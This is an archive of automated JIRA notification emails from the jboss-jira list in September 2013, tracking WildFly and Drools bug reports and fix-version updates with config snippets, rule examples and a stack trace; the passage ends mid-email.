RH Bugzilla Integration commented on WFLY-1650:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 980923|https://bugzilla.redhat.com/show_bug.cgi?id=980923] from NEW to POST
                
> Legacy subsystem testing needs some classloading exclusion mecanism
> -------------------------------------------------------------------
>
>                 Key: WFLY-1650
>                 URL: https://issues.jboss.org/browse/WFLY-1650
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging, Test Suite
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> When translation messages are used (which is the case of EAP) we have conflicts between generated $logger classes when testing submodules.
> Some $logger classes exis thus they are loaded by the parent classloader before the childfirstclassloader tries to load them, thus we have a potential ClassCastException brewing. 
> For exemple this breaks the EAP build on a French OS.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 11:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2011) jboss-ejb3.xml deployment
 descriptor is not parsed correct for the clustering element
In-Reply-To: <JIRA.12500087.1378394515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500087.1378394515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500087.1378394515000.11497.1378395543539@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2011?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801988#comment-12801988 ] 

RH Bugzilla Integration commented on WFLY-2011:
-----------------------------------------------

wfink at redhat.com made a comment on [bug 1004856|https://bugzilla.redhat.com/show_bug.cgi?id=1004856]

The clustering element of the jboss-ejb3.xml DD can include illegal repeating of the ejb-name element:
<assembly-descriptor>
  <c:clustering>
    <ejb-name>Bean1</ejb-name>
    <ejb-name>Bean2</ejb-name>
  <c:clustered>true</c:clustered>
  </c:clustering>
</assembly-descriptor>

In that case the behaviour of different components is inconsistent, see WFLY-2011.

The parser should log the problem and the application should not deployable.
                
> jboss-ejb3.xml deployment descriptor is not parsed correct for the clustering element
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2011
>                 URL: https://issues.jboss.org/browse/WFLY-2011
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Wolf-Dieter Fink
>            Assignee: jaikiran pai
>              Labels: ejb-jar.xml
>
> If beans of an application are marked as clustered by using the jboss-ejb3.xml DD the behaviour is not consistent.
> From the XSD the <ejb-name> element can not be added multiple times.
> And the following configuration will be not valid:
>   <assembly-descriptor>
>     <c:clustering>
>       <ejb-name>Bean1</ejb-name>
>       <ejb-name>Bean2</ejb-name>
>       <c:clustered>true</c:clustered>
>     </c:clustering>
>   </assembly-descriptor>
> The parser should throw an Exception and the application should not be deployed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 11:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2011) jboss-ejb3.xml deployment
 descriptor is not parsed correct for the clustering element
In-Reply-To: <JIRA.12500087.1378394515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500087.1378394515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500087.1378394515000.11501.1378395543731@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2011?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2011:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004856

    
> jboss-ejb3.xml deployment descriptor is not parsed correct for the clustering element
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2011
>                 URL: https://issues.jboss.org/browse/WFLY-2011
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Wolf-Dieter Fink
>            Assignee: jaikiran pai
>              Labels: ejb-jar.xml
>
> If beans of an application are marked as clustered by using the jboss-ejb3.xml DD the behaviour is not consistent.
> From the XSD the <ejb-name> element can not be added multiple times.
> And the following configuration will be not valid:
>   <assembly-descriptor>
>     <c:clustering>
>       <ejb-name>Bean1</ejb-name>
>       <ejb-name>Bean2</ejb-name>
>       <c:clustered>true</c:clustered>
>     </c:clustering>
>   </assembly-descriptor>
> The parser should throw an Exception and the application should not be deployed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:55:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 11:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-218) Update add-user utility to
 allow overrides of property file name.
In-Reply-To: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489742.1366220996000.11511.1378396504056@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-218?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801991#comment-12801991 ] 

RH Bugzilla Integration commented on WFLY-218:
----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 978984|https://bugzilla.redhat.com/show_bug.cgi?id=978984] from ASSIGNED to MODIFIED
                
> Update add-user utility to allow overrides of property file name.
> -----------------------------------------------------------------
>
>                 Key: WFLY-218
>                 URL: https://issues.jboss.org/browse/WFLY-218
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> This enhancement is going to add two additional command line options to the add-user utility: -
> -up --user-properties
> This will specify the file name of the properties file containing the users and passwords.
> -gp --group-properties
> This will specify the file name of the properties file containing the users groups.
> If specified as absolute paths no searches will be used to locate additional file otherwise both the standalone and domain configuration folders will be searched for matching files.
> group-properties can only be specified if there is a user-properties, the omission of group-properties will disable the prompt to ask for a users groups.
> Specifying a user-properties disables the prompt asking if this is management or application as the primary reason for asking that was to decide which files to look for.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:03 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-251) Classloader fails to resolve
 when annotation and declared class have the same name
In-Reply-To: <JIRA.12500015.1378364475000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500015.1378364475000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500015.1378364475000.11542.1378397283668@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-251?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-251:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Classloader fails to resolve when annotation and declared class have the same name
> ----------------------------------------------------------------------------------
>
>                 Key: DROOLS-251
>                 URL: https://issues.jboss.org/browse/DROOLS-251
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.CR2
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> package test
> declare Annot
>   fld : int @Annot
> end
> The packagebuilder type resolver will confuse the annotation with the declared class and throw exceptions (varies depending on optional import
> statements)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:03 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-249) Handle conflicts when using
 @position in declared types
In-Reply-To: <JIRA.12500013.1378364090000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500013.1378364090000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500013.1378364090000.11545.1378397283808@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-249?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-249:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Handle conflicts when using @position in declared types
> -------------------------------------------------------
>
>                 Key: DROOLS-249
>                 URL: https://issues.jboss.org/browse/DROOLS-249
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.CR2
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Minor
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> declare A
>  f : int @position(2)
>  g : int @position(1)
> end
> declare B extends A
>  h : int @position(3)
>  i : int @position(2)
> end
> The resulting field order may not be deterministic because of
>  - the clashes (2)
>  - the missing pos (0)
> this is dangerous when used with positional constraints
> B( $x, $y, $z, $w ; )
> Marked as minor because of the obvious workaround

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-238) (Trait) hierarchy indexing
 and lookup is dramatically slower than needed
In-Reply-To: <JIRA.12499302.1377277962000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499302.1377277962000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499302.1377277962000.11550.1378397284099@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-238?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-238:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> (Trait) hierarchy indexing and lookup is dramatically slower than needed
> ------------------------------------------------------------------------
>
>                 Key: DROOLS-238
>                 URL: https://issues.jboss.org/browse/DROOLS-238
>             Project: Drools
>          Issue Type: Quality Risk
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.CR1
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Critical
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> The encoding is not optimized for performance, and suffers particularly in case of large, flat taxonomies

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-201) Improve Rule Removal
In-Reply-To: <JIRA.12497212.1374649467000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497212.1374649467000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497212.1374649467000.11553.1378397284262@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-201?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-201:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Improve Rule Removal
> --------------------
>
>                 Key: DROOLS-201
>                 URL: https://issues.jboss.org/browse/DROOLS-201
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Mark Proctor
>            Assignee: Mark Proctor
>             Fix For:  6.0.0.CR4
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-198) Separate Rete and Phreak
In-Reply-To: <JIRA.12496969.1374456180000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496969.1374456180000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496969.1374456180000.11556.1378397284386@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-198?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-198:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Separate Rete and Phreak
> ------------------------
>
>                 Key: DROOLS-198
>                 URL: https://issues.jboss.org/browse/DROOLS-198
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Mark Proctor
>            Assignee: Mark Proctor
>             Fix For:  6.0.0.CR4
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-134) Metadata inheritance is not
 resolved correctly when typeDeclarations are created implicitly
In-Reply-To: <JIRA.12491626.1368431589000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491626.1368431589000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491626.1368431589000.11560.1378397284545@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-134?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-134:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Metadata inheritance is not resolved correctly when typeDeclarations are created implicitly
> -------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-134
>                 URL: https://issues.jboss.org/browse/DROOLS-134
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.1.Final
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> Implicit TypeDeclarations do not resolve declared metadata modifiers correctly

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-126) Drools Verifier does not
 support Conditional Branches
In-Reply-To: <JIRA.12490994.1367522395000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490994.1367522395000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490994.1367522395000.11564.1378397284751@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-126:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Drools Verifier does not support Conditional Branches
> -----------------------------------------------------
>
>                 Key: DROOLS-126
>                 URL: https://issues.jboss.org/browse/DROOLS-126
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.Beta2
>            Reporter: Davide Sottara
>            Assignee: Toni Rikkola
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> Drools Verifier has not been updated since the introduction of the Conditional Branches. 
> Any rule with a ConditionalBranchDescr would generate an exception
> when Verified.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-115) Add support for strong
	negation
In-Reply-To: <JIRA.12474560.1347671752000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12474560.1347671752000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12474560.1347671752000.11568.1378397284915@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-115?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-115:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Add support for strong negation
> -------------------------------
>
>                 Key: DROOLS-115
>                 URL: https://issues.jboss.org/browse/DROOLS-115
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Davide Sottara
>            Assignee: Davide Sottara
>            Priority: Minor
>             Fix For:  6.0.0.CR4
>
>
> Drools "not" operator implements a type of "negation by failure", i.e. not X() behaves as the negation of "exists" or, in other words, translates as "it is NOT asserted that ...".
> However, another form of stronger negation is needed to express conditionals such as "it is asserted that NOT ..."
> It should be possible, then, to assert facts both in a "positive" and "negative" way, to assert THAT and THAT NOT. 
> The language should also support a "neg" CE to create "negative" patterns which will match with negative facts. I.e. it should be possible to write rules such as:
> when $p : Person() and Car( owner == $p ) then
> // a positive, matching Car is present in the WM
> when $p : Person() and neg Car( owner == $p ) then
> // a negative, matching Car is present in the WM
> when $p : Person() and not Car( owner == $p ) then
> // neither a positive nor a negative fact exists in the WM
> For a more detailed description and motivation see e.g.:
> https://oxygen.informatik.tu-cottbus.de/publications/wagner/WebRules2Neg.pdf

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:05 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-103) NPE in PackageBuilderContext
 for mvel related code
In-Reply-To: <JIRA.12489807.1366287818000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489807.1366287818000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489807.1366287818000.11572.1378397285096@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-103?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-103:
------------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> NPE in PackageBuilderContext for mvel related code
> --------------------------------------------------
>
>                 Key: DROOLS-103
>                 URL: https://issues.jboss.org/browse/DROOLS-103
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR4
>
>
> On jenkins drools often craches on this line in PackageBuildContext:
> {code}
> this.typesafe = ((MVELDialect) dialectRegistry.getDialect( "mvel" )).isStrictMode();
> {code}
> This happens in the optaplanner and optaplanner-runTurtleTests jobs.
> Locally I haven't seen it yet.
> https://jenkins.mw.lab.eng.bos.redhat.com/hudson/view/Drools%20jBPM/view/Master/job/optaplanner/
> https://jenkins.mw.lab.eng.bos.redhat.com/hudson/view/Drools%20jBPM/view/Master/job/optaplanner-turtleTests/
> {code}
> java.lang.NullPointerException
> 	at org.drools.compiler.rule.builder.PackageBuildContext.init(PackageBuildContext.java:101)
> 	at org.drools.compiler.rule.builder.RuleBuildContext.<init>(RuleBuildContext.java:78)
> 	at org.drools.compiler.compiler.PackageBuilder.addRule(PackageBuilder.java:3028)
> 	at org.drools.compiler.compiler.PackageBuilder.compileRules(PackageBuilder.java:948)
> 	at org.drools.compiler.compiler.PackageBuilder.compileAllRules(PackageBuilder.java:854)
> 	at org.drools.compiler.compiler.CompositeKnowledgeBuilderImpl.buildRules(CompositeKnowledgeBuilderImpl.java:233)
> 	at org.drools.compiler.compiler.CompositeKnowledgeBuilderImpl.buildPackages(CompositeKnowledgeBuilderImpl.java:88)
> 	at org.drools.compiler.compiler.CompositeKnowledgeBuilderImpl.build(CompositeKnowledgeBuilderImpl.java:76)
> 	at org.drools.compiler.kie.builder.impl.AbstractKieModule.buildKnowledgePackages(AbstractKieModule.java:140)
> 	at org.drools.compiler.kie.builder.impl.AbstractKieProject.verify(AbstractKieProject.java:39)
> 	at org.drools.compiler.kie.builder.impl.KieBuilderImpl.buildKieModule(KieBuilderImpl.java:207)
> 	at org.drools.compiler.kie.builder.impl.KieBuilderImpl.buildAll(KieBuilderImpl.java:160)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildKieBase(ScoreDirectorFactoryConfig.java:305)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildDroolsScoreDirectorFactory(ScoreDirectorFactoryConfig.java:273)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildScoreDirectorFactory(ScoreDirectorFactoryConfig.java:180)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildScoreDirectorFactory(ScoreDirectorFactoryConfig.java:168)
> 	at org.optaplanner.core.config.solver.SolverConfig.buildSolver(SolverConfig.java:144)
> 	at org.optaplanner.core.config.solver.XmlSolverFactory.buildSolver(XmlSolverFactory.java:104)
> 	at org.optaplanner.examples.common.app.SolverPerformanceTest.solve(SolverPerformanceTest.java:86)
> 	at org.optaplanner.examples.common.app.SolverPerformanceTest.runSpeedTest(SolverPerformanceTest.java:71)
> 	at org.optaplanner.examples.examination.app.ExaminationPerformanceTest.solveComp_set5FastAssert(ExaminationPerformanceTest.java:52)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
> 	at java.lang.reflect.Method.invoke(Method.java:597)
> 	at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
> 	at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
> 	at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
> 	at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
> 	at org.junit.internal.runners.statements.FailOnTimeout$StatementThread.run(FailOnTimeout.java:74)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:08:05 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 5 Sep 2013 12:08:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-88) Support generics in declared
	types' fields
In-Reply-To: <JIRA.12487865.1364200178000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487865.1364200178000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487865.1364200178000.11574.1378397285192@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-88?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michael Biarnes Kiefer updated DROOLS-88:
-----------------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)

    
> Support generics in declared types' fields
> ------------------------------------------
>
>                 Key: DROOLS-88
>                 URL: https://issues.jboss.org/browse/DROOLS-88
>             Project: Drools
>          Issue Type: Enhancement
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Davide Sottara
>            Assignee: Davide Sottara
>            Priority: Minor
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> It should be possible to write:
> declare Foo
>   list : List<String>
> end
> While not supported in rules using the mvel dialect, it makes declared types much more readable, and adds some type-safety to java rules.
> Notice that this ticket is NOT related to the possibility of declaring generic classes, such as Foo<T>.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:24:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 5 Sep 2013 12:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2012) log4j ConsoleAppender won't
 display messages with per-deployment logging
In-Reply-To: <JIRA.12500124.1378398130425@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500124.1378398130425@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500124.1378398130425.11594.1378398243363@jira02.app.mwc.hst.phx2.redhat.com>

James Perkins created WFLY-2012:
-----------------------------------

             Summary: log4j ConsoleAppender won't display messages with per-deployment logging
                 Key: WFLY-2012
                 URL: https://issues.jboss.org/browse/WFLY-2012
             Project: WildFly
          Issue Type: Bug
          Components: Logging
            Reporter: James Perkins
            Assignee: James Perkins


Add the following log4j.properties file to a deployment and try to log.
{code}
# Root logger option
log4j.rootLogger=INFO, stdout

# Direct log messages to stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.Target=System.out
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:28:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 5 Sep 2013 12:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.11608.1378398483708@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reopened WFLY-519:
------------------------------


    
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:28:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 5 Sep 2013 12:28:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.11616.1378398484031@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-519:
-----------------------------

    Comment: was deleted

(was: Resolving given that TCK is passing.)

    
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
